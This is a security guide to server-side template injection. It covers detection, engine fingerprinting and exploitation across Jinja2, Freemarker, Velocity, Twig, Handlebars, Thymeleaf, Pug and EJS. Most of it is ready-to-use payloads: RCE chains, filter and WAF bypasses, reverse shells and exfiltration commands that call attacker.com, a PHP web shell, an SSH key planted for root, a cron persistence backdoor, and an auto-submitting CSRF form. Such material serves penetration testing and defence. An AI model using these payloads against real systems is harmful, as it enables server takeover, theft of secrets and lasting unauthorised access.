This guide is currently under development, and I greatly welcome any suggestions or feedback or at reaper.gitbook@gmail.com

Template injection (SSTI - Server-Side Template Injection)

Understanding Server-Side Template Injection (SSTI)

What is Server-Side Template Injection?

Server-Side Template Injection (SSTI) is a vulnerability that occurs when user input is embedded into a template in an unsafe way, allowing attackers to inject template directives and execute arbitrary code on the server. This happens when applications dynamically generate templates using user-controlled data without proper sanitization.

Vulnerable Code Example

# Flask/Jinja2 vulnerable template rendering
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/hello')
def hello():
    name = request.args.get('name', 'World')
    # Vulnerable: User input directly in template
    template = f"<h1>Hello {name}!</h1>"
    return render_template_string(template)

Normal Request:

  • URL: /hello?name=John

  • Template: <h1>Hello John!</h1>

  • Output: <h1>Hello John!</h1>

Malicious Request:

  • URL: /hello?name={{7*7}}

  • Template: <h1>Hello {{7*7}}!</h1>

  • Output: <h1>Hello 49!</h1> (Expression evaluated)

How SSTI Works

SSTI exploits the template engine's ability to evaluate expressions and execute code. When user input is embedded directly into templates, attackers can inject template syntax that gets processed by the template engine, leading to code execution.

Template Engine Processing Flow

  1. User Input - Attacker provides malicious template syntax

  2. Template Construction - Application embeds input into template

  3. Template Parsing - Engine parses template with injected code

  4. Expression Evaluation - Engine evaluates malicious expressions

  5. Code Execution - Arbitrary code executes on the server

Impact and Consequences

  • Remote Code Execution - Complete server compromise

  • Information Disclosure - Access to application data and configuration

  • File System Access - Reading and writing server files

  • Privilege Escalation - Gaining higher system privileges

  • Data Exfiltration - Stealing sensitive information

  • Denial of Service - Crashing the application or server

Common Template Engines

Python Template Engines

Jinja2 (Flask, Django):

  • Syntax: {{ expression }}, {% statement %}

  • Used in: Flask, Django (custom), Ansible

  • Features: Expressions, filters, macros, inheritance

Django Templates:

  • Syntax: {{ variable }}, {% tag %}

  • Used in: Django web framework

  • Features: Tags, filters, template inheritance

Mako:

  • Syntax: ${expression}, <% code %>

  • Used in: Pyramid, SQLAlchemy

  • Features: Python expressions, control structures

JavaScript Template Engines

Handlebars.js:

  • Syntax: {{expression}}, {{#helper}}

  • Used in: Node.js applications, Ember.js

  • Features: Helpers, partials, conditionals

Mustache:

  • Syntax: {{variable}}, {{#section}}

  • Used in: Various JavaScript frameworks

  • Features: Logic-less templates

Pug (formerly Jade):

  • Syntax: #{expression}, !{unescaped}

  • Used in: Express.js applications

  • Features: Clean syntax, mixins, includes

Java Template Engines

Freemarker:

  • Syntax: ${expression}, <#directive>

  • Used in: Spring Boot, Apache Struts

  • Features: Macros, functions, object navigation

Velocity:

  • Syntax: $variable, #directive

  • Used in: Apache projects, Spring

  • Features: VTL (Velocity Template Language)

Thymeleaf:

  • Syntax: ${expression}, th:attribute

  • Used in: Spring Boot applications

  • Features: Natural templates, strong typing

Basic SSTI Detection

Mathematical Expression Testing

Basic Arithmetic

Universal Detection Payloads:

# Basic mathematical expressions
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

# Expected output: 49
# If output shows "49", template injection likely exists

Extended Mathematical Tests:

# Multiple operations
{{7*'7'}}     # Should output: 7777777 (string multiplication)
{{7+'7'}}     # May cause type error or concatenation
{{7-7}}       # Should output: 0
{{7/7}}       # Should output: 1
{{7%2}}       # Should output: 1 (modulo)

Polyglot Detection Payloads

Multi-Engine Detection:

# Polyglot payload for multiple template engines
${{<%[%'"}}%\.

# Template-specific variations
{{7*7}}[[7*7]]${7*7}<%=7*7%>${{7*7}}${{7*7}}#{7*7}

# URL encoded versions
%7B%7B7*7%7D%7D
%24%7B7*7%7D
%3C%25%3D7*7%25%3E

Context-Based Detection

HTML Context

Template Injection in HTML:

<!-- Vulnerable template -->
<h1>Welcome {{user_name}}!</h1>
<p>Your role is: ${user_role}</p>

<!-- Test payloads -->
<h1>Welcome {{7*7}}!</h1>          <!-- Output: Welcome 49! -->
<h1>Welcome ${7*7}!</h1>           <!-- Output: Welcome 49! -->
<h1>Welcome <%=7*7%>!</h1>         <!-- Output: Welcome 49! -->

JavaScript Context

Template Injection in JavaScript:

// Vulnerable JavaScript template
var message = "Hello {{user_input}}";
var config = {name: "${user_name}"};

// Test payloads
var message = "Hello {{7*7}}";     // Output: Hello 49
var config = {name: "${7*7}"};     // Output: {name: 49}

CSS Context

Template Injection in CSS:

/* Vulnerable CSS template */
.user-theme {
    color: {{user_color}};
    background: ${theme_bg};
}

/* Test payloads */
.user-theme {
    color: {{7*7}};                /* May output: color: 49; */
    background: ${7*7};            /* May output: background: 49; */
}

Template Engine Specific Exploitation

Jinja2 (Python/Flask) Exploitation

Basic Jinja2 Syntax

Expression Evaluation:

# Basic expressions
{{7*7}}                           # Output: 49
{{'hello' + 'world'}}            # Output: helloworld
{{range(10)}}                    # Output: range(0, 10)
{{lipsum(5)}}                    # Output: Lorem ipsum text

# Variable access
{{config}}                       # Access Flask config
{{request}}                      # Access request object
{{session}}                      # Access session object

Jinja2 Object Navigation

Accessing Python Objects:

# Access config object
{{config.SECRET_KEY}}            # Reveal secret key
{{config.__class__}}             # <class 'flask.config.Config'>

# Access request object
{{request.environ}}              # Environment variables
{{request.args}}                 # URL parameters
{{request.files}}                # Uploaded files
{{request.headers}}              # HTTP headers

# Access application context
{{url_for.__globals__}}          # Global namespace
{{get_flashed_messages.__globals__}}  # Alternative global access

Remote Code Execution in Jinja2

Class Navigation for RCE:

# Method 1: Using __subclasses__()
{{''.__class__.__mro__[1].__subclasses__()}}

# Find useful classes (subprocess.Popen is often at index 104)
{{''.__class__.__mro__[1].__subclasses__()[104]}}

# Execute commands
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read()}}

# Method 2: Using config object
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Method 3: Using url_for
{{url_for.__globals__['os'].popen('pwd').read()}}

# Method 4: Using cycler (if available)
{{cycler.__init__.__globals__.os.popen('ls').read()}}

Advanced Jinja2 RCE:

# Import modules and execute
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].Popen('curl http://attacker.com/`whoami`',shell=True)}}

# File operations
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].system('cat /etc/passwd > /tmp/passwd.txt')}}

# Python code execution
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].system('python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'attacker.com\',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/sh\',\'-i\']);"')}}

Jinja2 Filter Abuse

Built-in Filter Exploitation:

# Using filters for code execution
{{'cat /etc/passwd'|system}}     # If custom system filter exists

# String manipulation for evasion
{{('cat /etc/passwd')|system}}
{{'Y2F0IC9ldGMvcGFzc3dk'|b64decode|system}}  # Base64 decode

# Using map filter
{{range(1)|map('system','whoami')|list}}

# Using attr filter
{{''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(104)}}

Django Template Exploitation

Django Template Syntax

Basic Django Templates:

<!-- Basic expressions -->
{{user.username}}                <!-- Access user attributes -->
{{request.GET.param}}           <!-- Access GET parameters -->
{{settings.SECRET_KEY}}          <!-- Access Django settings -->

<!-- Template tags -->
{% load custom_tags %}          <!-- Load custom template tags -->
{% debug %}                     <!-- Show debug information -->

Django Template RCE

Limited RCE in Django:

<!-- Django templates are more restrictive but still vulnerable -->

<!-- Method 1: Debug information -->
{% debug %}                     <!-- Reveals variables and settings -->

<!-- Method 2: Custom template tags -->
{% load subprocess %}
{% subprocess 'whoami' %}       <!-- If custom tag exists -->

<!-- Method 3: Settings access -->
{{settings.DATABASES}}          <!-- Database credentials -->
{{settings.SECRET_KEY}}         <!-- Secret key -->
{{settings.ALLOWED_HOSTS}}      <!-- Allowed hosts -->

<!-- Method 4: Using built-in tags creatively -->
{% with "whoami" as cmd %}
    {% if cmd %}
        <!-- Potential execution context -->
    {% endif %}
{% endwith %}

Django Debug Mode Exploitation:

<!-- In debug mode, more information is available -->
{{settings}}                    <!-- Full settings object -->
{{request.META}}               <!-- Environment variables -->

<!-- Force errors to reveal information -->
{{undefined_variable.nonexistent_method}}
{{1/0}}                        <!-- Division by zero error -->

Freemarker (Java) Exploitation

Freemarker Syntax

Basic Freemarker Expressions:

<!-- Basic expressions -->
${7*7}                          <!-- Output: 49 -->
${username}                     <!-- Variable access -->
${"hello"?upper_case}          <!-- Built-in function -->

<!-- Object method calls -->
${object.method()}             <!-- Call object method -->
${object.property}             <!-- Access property -->

Freemarker RCE

Execute Constructor for RCE:

<!-- Method 1: Execute class instantiation -->
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("whoami")}

<!-- Method 2: ObjectConstructor -->
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
<#assign proc=oc("java.lang.ProcessBuilder","whoami")>
${proc.start()}

<!-- Method 3: Static method access -->
<#assign ex="freemarker.template.utility.JythonRuntime"?new()>
<#assign pythonCode = "import os; os.system('whoami')">
${ex.exec(pythonCode)}

Advanced Freemarker Exploitation:

<!-- File operations -->
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /etc/passwd")}
${ex("curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64)")}

<!-- Java reflection -->
<#assign classLoader=object?class.classLoader>
<#assign owaspClass=classLoader.loadClass("java.lang.Runtime")>
<#assign owaspObject=owaspClass.getMethod("getRuntime",null).invoke(null,null)>
${owaspObject.exec("whoami")}

<!-- Environment variable access -->
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("env")}

Velocity (Java) Exploitation

Velocity Syntax

Basic Velocity Expressions:

## Basic expressions
$math.add(7,7)                  ## Output: 14
$name                           ## Variable access
$user.getName()                ## Method call

## Velocity tools
$date.get('yyyy-MM-dd')        ## Date formatting
$esc.html($input)              ## HTML escaping

Velocity RCE

Class Instantiation for RCE:

## Method 1: Runtime class access
#set($rt = $Class.forName('java.lang.Runtime'))
#set($chr = $Class.forName('java.lang.Character'))
#set($str = $chr.toString(99).concat($chr.toString(97)).concat($chr.toString(116)).concat($chr.toString(32)).concat($chr.toString(47)).concat($chr.toString(101)).concat($chr.toString(116)).concat($chr.toString(99)).concat($chr.toString(47)).concat($chr.toString(112)).concat($chr.toString(97)).concat($chr.toString(115)).concat($chr.toString(115)).concat($chr.toString(119)).concat($chr.toString(100)))
$rt.getRuntime().exec($str)

## Method 2: ProcessBuilder
#set($pb = $Class.forName('java.lang.ProcessBuilder'))
#set($cmd = ["whoami"])
#set($process = $pb.newInstance($cmd))
$process.start()

## Method 3: Scripting engine
#set($engine = $Class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript'))
$engine.eval('java.lang.Runtime.getRuntime().exec("whoami")')

Twig (PHP) Exploitation

Twig Syntax

Basic Twig Expressions:

{# Basic expressions #}
{{7*7}}                         {# Output: 49 #}
{{name|upper}}                  {# String filter #}
{{users|length}}               {# Array length #}

{# Control structures #}
{% for user in users %}
    {{user.name}}
{% endfor %}

Twig RCE

Filter and Function Abuse:

{# Method 1: _self environment access #}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

{# Method 2: _self globals access #}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

{# Method 3: Map filter abuse #}
{{["id"]|map("system")|join(",")}}

{# Method 4: Reduce filter #}
{{["id",""]|sort("system")}}
{{[0,1,2]|reduce((carry, item) => carry ~ system("whoami"), "")}}

Advanced Twig Exploitation:

{# File operations #}
{{_self.env.registerUndefinedFilterCallback("file_get_contents")}}{{_self.env.getFilter("/etc/passwd")}}

{# Include exploit #}
{% include "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4K" %}

{# Custom function registration #}
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{_self.env.getFilter("cat /etc/passwd")}}

Handlebars.js Exploitation

Handlebars Syntax

Basic Handlebars Expressions:

<!-- Basic expressions -->
{{7*7}}                         <!-- May not work due to restrictions -->
{{name}}                        <!-- Variable access -->
{{#each users}}{{name}}{{/each}} <!-- Iteration -->

<!-- Helpers -->
{{uppercase name}}              <!-- Built-in helper -->
{{#if condition}}true{{/if}}    <!-- Conditional -->

Handlebars RCE

Prototype Pollution and RCE:

<!-- Method 1: Constructor access -->
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

<!-- Method 2: Process access -->
{{#with "constructor" as |a|}}
  {{#with (lookup . a)}}
    {{#with (lookup . a)}}
      {{this("return process")()}}
    {{/with}}
  {{/with}}
{{/with}}

Node.js Specific Handlebars RCE:

<!-- Require function access -->
{{#with "constructor" as |a|}}
  {{#with (lookup . a) as |b|}}
    {{#with (lookup b a) as |c|}}
      {{#with (c "return require")() as |d|}}
        {{d "child_process"}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

<!-- Global process access -->
{{this.constructor.constructor("return global.process.mainModule.require('child_process').execSync('whoami')")()}}

Advanced SSTI Techniques

Template Engine Fingerprinting

Response-Based Fingerprinting

Engine Detection Payloads:

# Test different syntax patterns
{{7*7}}          # Jinja2, Twig, Django: 49
${7*7}           # Freemarker, Velocity: 49
<%=7*7%>         # ERB, ASP: 49
#{7*7}           # Thymeleaf: 49

# Error-based fingerprinting
{{7*'7'}}        # Jinja2: 7777777, Others: Error
${7*'7'}         # Freemarker: Error
<%=7*'7'%>       # ERB: May work depending on context

# Function availability tests
{{range(10)}}    # Jinja2: range(0, 10)
${esc.html}      # Velocity: Available
{{lipsum}}       # Jinja2: Lorem ipsum generator

Error Message Analysis

Error-Based Detection:

# Intentional errors to reveal engine
{{undefined_variable}}
${nonexistent.method}
<%=invalid.syntax%>

# Template engines reveal themselves in error messages:
# - "jinja2.exceptions.UndefinedError" → Jinja2
# - "freemarker.core.InvalidReferenceException" → Freemarker
# - "org.apache.velocity.exception.MethodInvocationException" → Velocity
# - "Twig\Error\RuntimeError" → Twig

Filter Bypassing Techniques

Character Filtering Bypasses

Alternative Quotes and Characters:

# If single quotes filtered
{{"whoami"}}                    # Use double quotes
{{request.args.cmd}}            # Use request parameters

# If quotes filtered entirely
{{request.args.cmd}}            # Parameter injection
{{config[request.args.key]}}    # Dynamic key access

# Using chr() or character codes
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__[chr(111)+chr(115)].popen(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)).read()}}

String Concatenation:

# Build commands using concatenation
{{'who'+'ami'}}
{{'cat'+' /etc/passwd'}}
{{'ls'|add:' -la'}}

# Using format strings
{{'{}ami'.format('who')}}
{{'{}{}'.format('who','ami')}}

Keyword Filtering Bypasses

Alternative Method Names:

# If 'system' is filtered
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('whoami').read()}}

# If 'popen' is filtered
{{''.__class__.__mro__[1].__subclasses__()[104]('whoami',shell=True)}}

# If '__' is filtered
{{''|attr('__class__')|attr('__mro__')|first|attr('__subclasses__')()|attr('__getitem__')(104)}}

# Using getattr instead of direct attribute access
{{getattr(''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'], 'system')('whoami')}}

WAF Bypassing

Encoding and Obfuscation:

# URL encoding
{{7%2A7}}                       # URL encoded: {{7*7}}
{{%27%27.__class__}}            # URL encoded: {{''.__class__}}

# Unicode encoding
{{\u007b\u007b7*7\u007d\u007d}} # Unicode encoded: {{7*7}}

# Base64 encoding with decode
{{'d2hvYW1p'|b64decode}}        # Base64 decode: whoami

# HTML entity encoding
{{&#123;&#123;7*7&#125;&#125;}}  # HTML entities: {{7*7}}

Blind SSTI Exploitation

Time-Based Detection

Delay-Based Payloads:

# Python time delay
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['time'].sleep(10)}}

# Alternative time delay
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('sleep 10')}}

# Java time delay (Freemarker)
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("sleep 10")}

# JavaScript time delay (Node.js)
{{constructor.constructor("setTimeout(function(){}, 10000)")()}}

Out-of-Band Detection

DNS/HTTP Exfiltration:

# DNS exfiltration
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('nslookup ssti-detected.attacker.com')}}

# HTTP exfiltration
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('curl http://attacker.com/ssti-detected')}}

# Data exfiltration
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('curl -X POST -d "data=`whoami`" http://attacker.com/exfil')}}

File-Based Detection

File Creation/Modification:

# Create detection file
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('touch /tmp/ssti-detected')}}

# Write to file
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('echo "SSTI detected" > /tmp/detection.txt')}}

# Log to system logs
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('logger "SSTI vulnerability detected"')}}

Context-Specific SSTI Exploitation

Email Template Injection

Email Template Vulnerabilities

Email Subject/Body Injection:

# Vulnerable email template
subject = f"Hello {user_name}"
body = f"Dear {user_name}, your order #{order_id} has been processed."

# Email template engines often use Jinja2 or similar
# Injection in email fields
user_name = "{{config.SECRET_KEY}}"
order_id = "{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('whoami').read()}}"

Email Header Injection:

# SSTI in email headers
To: {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('cat /etc/passwd').read()}}
From: {{config.SECRET_KEY}}@company.com
Subject: {{request.environ}}

PDF Generation Template Injection

PDF Template Vulnerabilities

HTML-to-PDF Template Injection:

<!-- Vulnerable PDF generation -->
<html>
<head>
    <title>Invoice for {{customer_name}}</title>
</head>
<body>
    <h1>Customer: {{customer_name}}</h1>
    <p>Amount: {{amount}}</p>
    <p>Date: {{date}}</p>
</body>
</html>

<!-- SSTI in PDF templates -->
<h1>Customer: {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('whoami').read()}}</h1>

PDF Metadata Injection:

# PDF metadata template injection
pdf_metadata = {
    'title': f"Report for {user_input}",
    'author': f"{user_name}",
    'subject': f"Generated on {date}"
}

# Injection payloads
user_input = "{{config.SECRET_KEY}}"
user_name = "{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('id').read()}}"

SMS/Notification Template Injection

SMS Template Vulnerabilities

SMS Message Template Injection:

# Vulnerable SMS template
message = f"Hello {user_name}, your code is {verification_code}"

# SMS template injection
user_name = "{{config.DATABASE_URL}}"
verification_code = "{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('curl http://attacker.com/sms-ssti').read()}}"

Push Notification Injection:

// Vulnerable push notification template
const notification = {
    title: `Hello ${username}`,
    body: `You have ${count} new messages`,
    data: {
        user_id: `${user_id}`,
        timestamp: `${timestamp}`
    }
};

// SSTI in notification templates
username = "{{7*7}}"  // Test for SSTI
count = "{{config.SECRET_KEY}}"

Flask Applications

Flask-Specific SSTI

Flask Configuration Access:

# Flask config object contains sensitive data
{{config}}                      # Full config object
{{config.SECRET_KEY}}           # Secret key
{{config.DATABASE_URI}}         # Database connection string
{{config.DEBUG}}                # Debug mode status

# Flask application context
{{g}}                           # Application context globals
{{request.environ}}             # WSGI environment
{{session}}                     # User session data

Flask Extension Exploitation:

# Flask-SQLAlchemy
{{config.SQLALCHEMY_DATABASE_URI}}

# Flask-Mail
{{config.MAIL_PASSWORD}}
{{config.MAIL_USERNAME}}

# Flask-Login
{{current_user}}
{{current_user.__dict__}}

# Flask-WTF
{{config.WTF_CSRF_SECRET_KEY}}

Django Applications

Django-Specific SSTI

Django Settings Access:

<!-- Django settings exposure -->
{{settings.SECRET_KEY}}         <!-- Secret key -->
{{settings.DATABASES}}          <!-- Database configuration -->
{{settings.DEBUG}}              <!-- Debug mode -->
{{settings.ALLOWED_HOSTS}}      <!-- Allowed hosts -->

<!-- Django request object -->
{{request.META.HTTP_HOST}}      <!-- Host header -->
{{request.META.REMOTE_ADDR}}    <!-- Client IP -->
{{request.META.HTTP_USER_AGENT}} <!-- User agent -->
{{request.META.PATH_INFO}}      <!-- Request path -->

Django ORM Exploitation:

<!-- If user objects are available in context -->
{{user.is_superuser}}           <!-- Check admin status -->
{{user.groups.all}}             <!-- User groups -->
{{user.user_permissions.all}}   <!-- User permissions -->

<!-- Model introspection -->
{{user._meta.get_fields}}       <!-- Model fields -->
{{user.__class__.__name__}}     <!-- Model name -->

Spring Boot Applications

Thymeleaf SSTI

Thymeleaf Expression Injection:

<!-- Basic Thymeleaf expressions -->
<p th:text="${7*7}">Placeholder</p>  <!-- Output: 49 -->
<p th:text="${user.name}">Name</p>   <!-- User property access -->

<!-- SSTI in Thymeleaf -->
<p th:text="${T(java.lang.Runtime).getRuntime().exec('whoami')}">Command</p>

<!-- Alternative syntax -->
<p>[[${T(java.lang.Runtime).getRuntime().exec('id')}]]</p>

<!-- Using Spring Expression Language (SpEL) -->
<p th:text="${T(java.lang.System).getProperty('user.dir')}">Directory</p>

Spring Framework Exploitation:

<!-- Spring context access -->
<p th:text="${@environment.getProperty('spring.datasource.password')}">DB Password</p>
<p th:text="${@applicationContext.getBean('dataSource').getUrl()}">DB URL</p>

<!-- System properties -->
<p th:text="${T(java.lang.System).getenv()}">Environment Variables</p>
<p th:text="${T(java.lang.System).getProperties()}">System Properties</p>

<!-- File operations -->
<p th:text="${T(java.nio.file.Files).readString(T(java.nio.file.Paths).get('/etc/passwd'))}">File Content</p>

Express.js Applications

Pug/Jade SSTI

Pug Template Injection:

//- Basic Pug expressions
p= 7*7                          //- Output: 49
p= user.name                    //- Variable access
p= JSON.stringify(locals)       //- Local variables

//- SSTI in Pug
p= process.env                  //- Environment variables
p= require('child_process').execSync('whoami').toString()
p= global.process.mainModule.require('fs').readFileSync('/etc/passwd', 'utf8')

//- Alternative syntax
p !{process.env.HOME}           //- Unescaped output

EJS Template Injection:

<!-- Basic EJS expressions -->
<%= 7*7 %>                      <!-- Output: 49 -->
<%= user.name %>                <!-- Variable access -->
<%= JSON.stringify(locals) %>   <!-- Local variables -->

<!-- SSTI in EJS -->
<%= process.env %>              <!-- Environment variables -->
<%= require('child_process').execSync('whoami') %>
<%= global.process.mainModule.require('fs').readFileSync('/etc/passwd', 'utf8') %>

<!-- Using eval-like functions -->
<%= eval('process.env') %>
<%= Function('return process.env')() %>

Advanced Attack Scenarios

Multi-Stage SSTI Exploitation

Information Gathering Stage

Environment Discovery:

# Stage 1: Basic information gathering
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('uname -a').read()}}
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('whoami').read()}}
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('pwd').read()}}

# Stage 2: Network information
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('ifconfig').read()}}
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('netstat -tlnp').read()}}

# Stage 3: Process and service discovery
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('ps aux').read()}}
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('systemctl list-units --type=service').read()}}

Application Configuration Extraction:

# Extract sensitive configuration
{{config}}                      # Full application config
{{request.environ}}             # Environment variables
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('cat /proc/self/environ').read()}}

# Database connection strings
{{config.DATABASE_URL}}
{{config.SQLALCHEMY_DATABASE_URI}}

# API keys and secrets
{{config.SECRET_KEY}}
{{config.AWS_ACCESS_KEY_ID}}
{{config.STRIPE_SECRET_KEY}}

Persistence and Backdoor Installation

File-Based Persistence:

# Create web shell
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('echo "<?php system($_GET[\"cmd\"]); ?>" > /var/www/html/shell.php')}}

# Create SSH backdoor
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /root/.ssh/authorized_keys')}}

# Create cron job for persistence
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('echo "* * * * * /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/4444 0>&1\'" | crontab -')}}

Memory-Based Persistence:

# Python reverse shell
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'attacker.com\',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/sh\',\'-i\']);"')}}

# Download and execute payload
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('curl -s http://attacker.com/payload.sh | bash')}}

# In-memory Python backdoor
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].system('python3 -c "exec(__import__(\'urllib.request\').request.urlopen(\'http://attacker.com/backdoor.py\').read())"')}}

SSTI with Other Vulnerabilities

SSTI + CSRF

Cross-Site Request Forgery with SSTI:

<!-- Malicious form that exploits SSTI -->
<form action="http://vulnerable-app.com/profile/update" method="POST">
    <input type="hidden" name="bio" value="{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('curl http://attacker.com/csrf-ssti').read()}}" />
    <input type="hidden" name="csrf_token" value="extracted_token" />
</form>

<script>
document.forms[0].submit();
</script>

SSTI + File Upload

Template Injection via File Upload:

# Upload malicious template file
# filename: template.html
# content:
"""
<h1>Profile for {{username}}</h1>
<p>{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('whoami').read()}}</p>
"""

# If application processes uploaded templates
POST /upload HTTP/1.1
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="template"; filename="malicious.html"

<h1>{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('id').read()}}</h1>
------WebKitFormBoundary--

SSTI + XXE

XML Template with XXE:

<!-- XML template with both XXE and SSTI -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<template>
    <content>{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('cat /etc/passwd').read()}}</content>
    <xxe_data>&xxe;</xxe_data>
</template>

Last updated

Was this helpful?